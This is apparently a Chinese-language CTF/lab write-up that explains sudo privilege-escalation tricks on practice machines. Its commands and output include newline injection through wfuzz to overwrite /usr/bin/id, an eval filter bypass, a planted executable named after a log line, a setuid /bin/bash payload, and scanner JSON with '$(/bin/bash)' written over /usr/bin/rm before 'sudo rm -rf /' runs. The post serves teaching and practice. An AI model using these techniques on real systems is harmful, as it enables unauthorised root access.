一些提权的小tricks

靶机来源:111

1
2
3
4
5
6
7
8
-bash-5.0$ sudo -l
Matching Defaults entries for tao on 111:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id

靶机可以免密sudo执行wfuzz和id(之所以不显示用户是因为已经提权过了)

方案1:单引号换行符注入(111)

构造如下payload

1
2
3
-bash-5.0$ sudo wfuzz -w /root/root.txt -f 1.txt -u 'http://127.0.0.1/FUZZ
> id
> '

预先输入单引号后直接回车,因为单引号只有一个不闭合的特性命令行会继续等待输入,直到出现下一个引号.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://127.0.0.1/FUZZ
id

Total requests: 1

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

GET /flag{root-9bbd7af2a042a901b92dc203b3896621}
id
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Wfuzz/3.1.0
Host: 127.0.0.1



Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:88: UserWarning:Unhandled exception: list index out of range

以上内容看到我们成功写入了可控内容id.

既然内容可控,那么就可以用此方法覆写另一文件usr/bin/id

1
2
3
-bash-5.0$ sudo wfuzz -w /root/root.txt -f /usr/bin/id -u 'http://127.0.0.1/FUZZ
> bash
> '
1
2
3
4
5
6
7
8
9
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://127.0.0.1/FUZZ
bash

Total requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-bash-5.0$ whoami
tao
-bash-5.0$ cat /usr/bin/id
Target: http://127.0.0.1/FUZZ
bash

Total requests: 1
==================================================================
ID Response Lines Word Chars Request
==================================================================

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0
-bash-5.0$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
root@111:/home/tao#

参数解析与换行符注入 (Argument Injection)

这是利用中比较巧妙的“Trick”部分,用于控制写入文件的内容。

  • Shell 的引号处理:在 Linux Shell 中,单引号 '...' 内的内容会被视为纯字符串,包括换行符。
1
2
3
-u 'http://127.0.0.1/FUZZ
> bash
> '

执行被篡改的 /usr/bin/id 时,系统无法将其识别为二进制程序,便退化为 Shell 脚本逐行运行。虽然第一行乱码会报错,但 Shell 会忽略错误继续执行第二行注入的 bash,从而拿到 Root Shell。

靶机来源:meltdown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rin@meltdown:~$ cat /opt/repeater.sh 
#!/bin/bash
main() {
local user_input="$1"

if echo "$user_input" | grep -qE '[;&|`$\\]'; then
echo "错误:输入包含非法字符"
return 1
fi
if echo "$user_input" | grep -qiE '(cat|ls|echo|rm|mv|cp|chmod)'; then
echo "错误:输入包含危险关键字"
return 1
fi
if echo "$user_input" | grep -qE '[[:space:]]'; then
if ! echo "$user_input" | grep -qE '^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$'; then
echo "错误:空格使用受限"
return 1
fi
fi
echo "处理结果: $user_input"
local sanitized_input=$(echo "$user_input" | tr -d '\n\r')
eval "output=\"$sanitized_input\""
echo "最终输出: $output"
}
if [ $# -ne 1 ]; then
echo "用法: $0 <输入内容>"
exit 1
fi

main "$1"

这个过滤脚本虽然写了很多正则,但是仍然可以用上面的方法绕过脚本.

1
2
3
4
5
6
7
8
9
rin@meltdown:~$ sudo /opt/repeater.sh ')("
> id id
> "'
处理结果: )("
id id
"
uid=0(root) gid=0(root) groups=0(root)
最终输出:

靶机来源:111

方案2:路径解析漏洞(来源ta0)

shell在路径解析时,如果遇到不含斜杠的字符串,Shell 会将其视为命令,去 $PATH 环境变量中查找。但如果是包含斜杠的字符串,shell就会而是直接在文件系统中寻找这个路径对应的文件。如果该文件存在且有执行权限,Shell 就会运行它 。

而wfuzz在输出日志时底部总会有一行统计信息

1
Requests/sec.: 0

那么,假设攻击者构造这么一个目录Requests,里面包含一个文件叫sec.:

该文件的内容就是bash

再将他们都赋予执行权限.

1
2
3
4
bash-5.0$ mkdir -p Requests
bash-5.0$ echo 'bash' > Requests/'sec.:'
bash-5.0$ chmod +x Requests/sec.\:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
bash-5.0$ whoami
tao
bash-5.0$ cat /usr/bin/id
Target: http://127.0.0.1/FUZZ
Total requests: 1
==================================================================
ID Response Lines Word Chars Request
==================================================================
00001: C=404 9 L 31 W 271 Ch "flag{root-9bbd7af2a042a901b92dc203b3896621}"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

bash-5.0$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: ==================================================================: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: ==================================================================: not found
/usr/bin/id: 6: /usr/bin/id: 00001:: not found
/usr/bin/id: 8: /usr/bin/id: Total: not found
/usr/bin/id: 9: /usr/bin/id: Processed: not found
/usr/bin/id: 10: /usr/bin/id: Filtered: not found
root@111:/home/tao#

当用户执行 sudo /usr/bin/id(此时该文件已被 wfuzz 的日志覆盖)时:

  1. 脚本前几行(如 Target: ...)执行失败并报错,但 Shell 忽略错误继续向下读。
  2. 读到 Requests/sec.: 0 这一行时,Shell 发现当前目录下确实存在 Requests/sec.: 这个可执行文件。
  3. Shell 以 Root 权限执行该文件。
  4. 因为文件内容是 bash,所以直接弹出一个 Root Shell 。

方案3:垃圾堆方案(来源我,或者其他很多人)

垃圾堆方案是群主的叫法,还挺形象的,指的就是往脏数据(垃圾堆)里注入点什么东西,然后骗shell去执行

当 Shell 解释执行一个脚本时,它具有以下两个关键特性,这构成了“垃圾堆方案”的基础:

  1. 容错执行 (Fault Tolerance):Shell 默认情况下(除非设置了 set -e),遇到某一行执行出错(例如 Command not found),会报错但不会停止,而是继续读取并执行下一行代码。这意味着文件里哪怕有 99% 的乱码,只要有一行是合法的恶意命令,也能成功执行。
  2. 命令分隔符 (Command Separator):在 Linux Shell 中,分号 ; 用于在同一行内分隔多条命令。无论前一条命令成功与否,分号后的命令都会尝试执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
tao@111:~$ sudo /usr/bin/wfuzz -c -z list,'";chmod${IFS}u+s${IFS}/bin/bash;echo"' -f /usr/bin/id http://127.0.0.1/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://127.0.0.1/FUZZ
Total requests: 1

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 404 9 L 31 W 271 Ch "";chmod${IFS}u+s${IFS}/bin/bash;echo""

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: ==================================================================: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: ==================================================================: not found
/usr/bin/id: 6: /usr/bin/id: 00001:: not found

/usr/bin/id: 8: /usr/bin/id: Total: not found
/usr/bin/id: 9: /usr/bin/id: Processed: not found
/usr/bin/id: 10: /usr/bin/id: Filtered: not found
/usr/bin/id: 11: /usr/bin/id: Requests/sec.:: not found
tao@111:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash

靶机来源:React

1
2
3
4
5
6
7
8
bot@React:~$ sudo -l
Matching Defaults entries for bot on React:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bot may run the following commands on React:
(ALL) NOPASSWD: /opt/react2shell/scanner.py
(ALL) NOPASSWD: /usr/bin/rm -rf /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
bot@React:~$ /opt/react2shell/scanner.py
usage: scanner.py [-h] (-u URL | -l LIST) [-t THREADS] [--timeout TIMEOUT] [-o OUTPUT] [--all-results] [-k] [-H HEADER] [-v] [-q] [--no-color]
[--safe-check] [--windows] [--waf-bypass] [--waf-bypass-size KB]
scanner.py: error: one of the arguments -u/--url -l/--list is required
bot@React:~$ /opt/react2shell/scanner.py -h
usage: scanner.py [-h] (-u URL | -l LIST) [-t THREADS] [--timeout TIMEOUT] [-o OUTPUT] [--all-results] [-k] [-H HEADER] [-v] [-q] [--no-color]
[--safe-check] [--windows] [--waf-bypass] [--waf-bypass-size KB]

React2Shell Scanner

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Single URL/host to check
-l LIST, --list LIST File containing list of hosts (one per line)
-t THREADS, --threads THREADS
Number of concurrent threads (default: 10)
--timeout TIMEOUT Request timeout in seconds (default: 10)
-o OUTPUT, --output OUTPUT
Output file for results (JSON format)
--all-results Save all results to output file, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H HEADER, --header HEADER
Custom header in 'Key: Value' format (can be used multiple times)
-v, --verbose Verbose output (show response snippets for vulnerable hosts)
-q, --quiet Quiet mode (only show vulnerable hosts)
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection (default: 128KB)
--waf-bypass-size KB Size of junk data in KB for WAF bypass (default: 128)

Examples:
scanner.py -u https://example.com
scanner.py -l hosts.txt -t 20 -o results.json
scanner.py -l hosts.txt --threads 50 --timeout 15
scanner.py -u https://example.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

-O参数可以任意写入文件,输出的文件是 JSON 格式。其中 host 字段的值直接来源于用户输入的 URL 参数。虽然无法闭合 JSON 的双引号构造新行,但在 Shell 脚本中,双引号内的命令替换语法($(cmd))是可以被解析执行的

核心原理:无 Shebang 脚本的解释执行

通常脚本第一行会有 #! (Shebang) 指定解释器(如 #!/bin/python3

Fallback 机制:如果一个可执行文件是文本文件且没有 Shebang 行,当前 Shell(如 /bin/bash)会尝试逐行解释执行它 。

脏数据执行:JSON 文件显然不是合法的 Shell 脚本。Shell 在执行时会报错(如 command not found),但默认情况下 Shell 遇到错误不会停止,而是继续执行下一行 。当 Shell 解析到包含恶意命令替换 $(...) 的行时,虽然它被包裹在 JSON 的双引号中,Shell 依然会先执行这个命令替换 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bot@React:~$ sudo /opt/react2shell/scanner.py -u 'http://192.168.6.101/$(/bin/bash)' -o /usr/bin/rm --all-results

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[ERROR] http://192.168.6.101/$(/bin/bash) - Connection Error: HTTPConnectionPool(host='192.168.6.101', port=80): Max retries exceeded with url: /$(/bin/bash)/ (Caused by NewConnectionError("HTTPConnection(host='192.168.6.101', port=80): Failed to establish a new connection: [Errno 101] Network is unreachable"))

============================================================
SCAN SUMMARY
============================================================
Total hosts scanned: 1
Vulnerable: 0
Not vulnerable: 1
Errors: 0
============================================================

[+] Results saved to: /usr/bin/rm
bot@React:~$ sudo /usr/bin/rm -rf /
/usr/bin/rm: 2: /usr/bin/rm: scan_time:: not found
/usr/bin/rm: 3: /usr/bin/rm: total_results:: not found
/usr/bin/rm: 4: /usr/bin/rm: results:: not found
root@React:/home/bot#


一些提权的小tricks
http://example.com/2026/01/08/一些shell解析提权的小tricks/
Author
Skyarrow
Posted on
January 8, 2026
Licensed under